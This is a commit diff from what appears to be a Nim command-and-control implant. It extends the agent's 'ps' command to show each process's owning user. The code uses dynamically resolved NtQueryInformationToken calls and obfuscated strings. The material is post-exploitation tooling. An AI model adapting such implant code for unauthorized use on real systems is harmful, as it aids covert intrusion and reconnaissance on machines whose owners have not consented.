Included user information in 'ps' command.

This commit is contained in:
Jakob Friedl
2025-11-04 15:44:26 +01:00
parent f3ddc49729
commit 235479a38b
3 changed files with 46 additions and 10 deletions

View File

@@ -58,3 +58,4 @@ The following projects and people have significantly inspired and/or helped with
- [NimPlant](https://github.com/chvancooten/NimPlant)
- [Nimhawk](https://github.com/hdbreaker/Nimhawk)
- [grc2](https://github.com/andreiverse/grc2)
- [Nimbo-C2](https://github.com/itaymigdal/Nimbo-C2)

View File

@@ -75,7 +75,7 @@ proc sidToString(apis: Apis, sid: PSID): string =
discard apis.ConvertSidToStringSidA(sid, addr stringSid)
return $stringSid
proc sidToName(apis: Apis, sid: PSID): string =
proc sidToName*(sid: PSID): string =
var
usernameSize: DWORD = 0
domainSize: DWORD = 0
@@ -139,7 +139,7 @@ proc getTokenUser(apis: Apis, hToken: HANDLE): tuple[username, sid: string] =
if status != STATUS_SUCCESS:
raise newException(CatchableError, status.getNtError())
return (apis.sidToName(pUser.User.Sid), apis.sidToString(pUser.User.Sid))
return (sidToName(pUser.User.Sid), apis.sidToString(pUser.User.Sid))
proc getTokenElevation(apis: Apis, hToken: HANDLE): bool =
var
@@ -178,7 +178,7 @@ proc getTokenGroups(apis: Apis, hToken: HANDLE): string =
result &= fmt"Group memberships ({groupCount})" & "\n"
for i, group in groups.toOpenArray(0, int(groupCount) - 1):
result &= fmt" - {apis.sidToString(group.Sid):<50} {apis.sidToName(group.Sid)}" & "\n"
result &= fmt" - {apis.sidToString(group.Sid):<50} {sidToName(group.Sid)}" & "\n"
proc getTokenPrivileges(apis: Apis, hToken: HANDLE): string =
var

View File

@@ -40,6 +40,7 @@ when defined(agent):
import os, strutils, strformat, tables, algorithm
import ../agent/utils/io
import ../agent/protocol/result
import ../agent/core/token
# TODO: Add user context to process information
type
@@ -47,8 +48,11 @@ when defined(agent):
pid: DWORD
ppid: DWORD
name: string
user: string
children: seq[DWORD]
NtQueryInformationToken = proc(hToken: HANDLE, tokenInformationClass: TOKEN_INFORMATION_CLASS, tokenInformation: PVOID, tokenInformationLength: ULONG, returnLength: PULONG): NTSTATUS {.stdcall.}
proc executePs(ctx: AgentCtx, task: Task): TaskResult =
print " [>] Listing running processes."
@@ -74,13 +78,44 @@ when defined(agent):
raise newException(CatchableError, GetLastError().getError)
while true:
# Retrieve information about the process
var
hToken: HANDLE
hProcess: HANDLE
user: string
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID)
if hProcess != 0:
if OpenProcessToken(hProcess, TOKEN_QUERY, addr hToken):
var
status: NTSTATUS = 0
returnLength: ULONG = 0
pUser: PTOKEN_USER
let pNtQueryInformationToken = cast[NtQueryInformationToken](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtQueryInformationToken")))
status = pNtQueryInformationToken(hToken, tokenUser, NULL, 0, addr returnLength)
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
raise newException(CatchableError, status.getNtError())
pUser = cast[PTOKEN_USER](LocalAlloc(LMEM_FIXED, returnLength))
if pUser == NULL:
raise newException(CatchableError, GetLastError().getError())
defer: LocalFree(cast[HLOCAL](pUser))
status = pNtQueryInformationToken(hToken, tokenUser, cast[PVOID](pUser), returnLength, addr returnLength)
if status != STATUS_SUCCESS:
raise newException(CatchableError, status.getNtError())
user = sidToName(pUser.User.Sid)
var procInfo = ProcessInfo(
pid: pe32.th32ProcessID,
ppid: pe32.th32ParentProcessID,
name: $cast[WideCString](addr pe32.szExeFile[0]),
user: user,
children: @[]
)
procMap[pe32.th32ProcessID] = procInfo
if Process32Next(hSnapshot, addr pe32) == FALSE:
@@ -94,9 +129,9 @@ when defined(agent):
processes.add(pid)
# Add header row
let headers = @[protect("PID"), protect("PPID"), protect("Process")]
output &= fmt"{headers[0]:<10}{headers[1]:<10}{headers[2]:<25}" & "\n"
output &= "-".repeat(len(headers[0])).alignLeft(10) & "-".repeat(len(headers[1])).alignLeft(10) & "-".repeat(len(headers[2])).alignLeft(25) & "\n"
let headers = @[protect("PID"), protect("PPID"), protect("Process"), protect("Username")]
output &= fmt"{headers[0]:<10}{headers[1]:<10}{headers[2]:<40}{headers[3]}" & "\n"
output &= "-".repeat(len(headers[0])).alignLeft(10) & "-".repeat(len(headers[1])).alignLeft(10) & "-".repeat(len(headers[2])).alignLeft(40) & "-".repeat(len(headers[3])) & "\n"
# Format and print process
proc printProcess(pid: DWORD, indentSpaces: int = 0) =
@@ -104,9 +139,9 @@ when defined(agent):
return
var process = procMap[pid]
let indent = " ".repeat(indentSpaces)
let processName = " ".repeat(indentSpaces) & process.name
output &= fmt"{process.pid:<10}{process.ppid:<10}{indent}{process.name:<25}" & "\n"
output &= fmt"{process.pid:<10}{process.ppid:<10}{processName:<40}{process.user}" & "\n"
# Recursively print child processes with indentation
process.children.sort()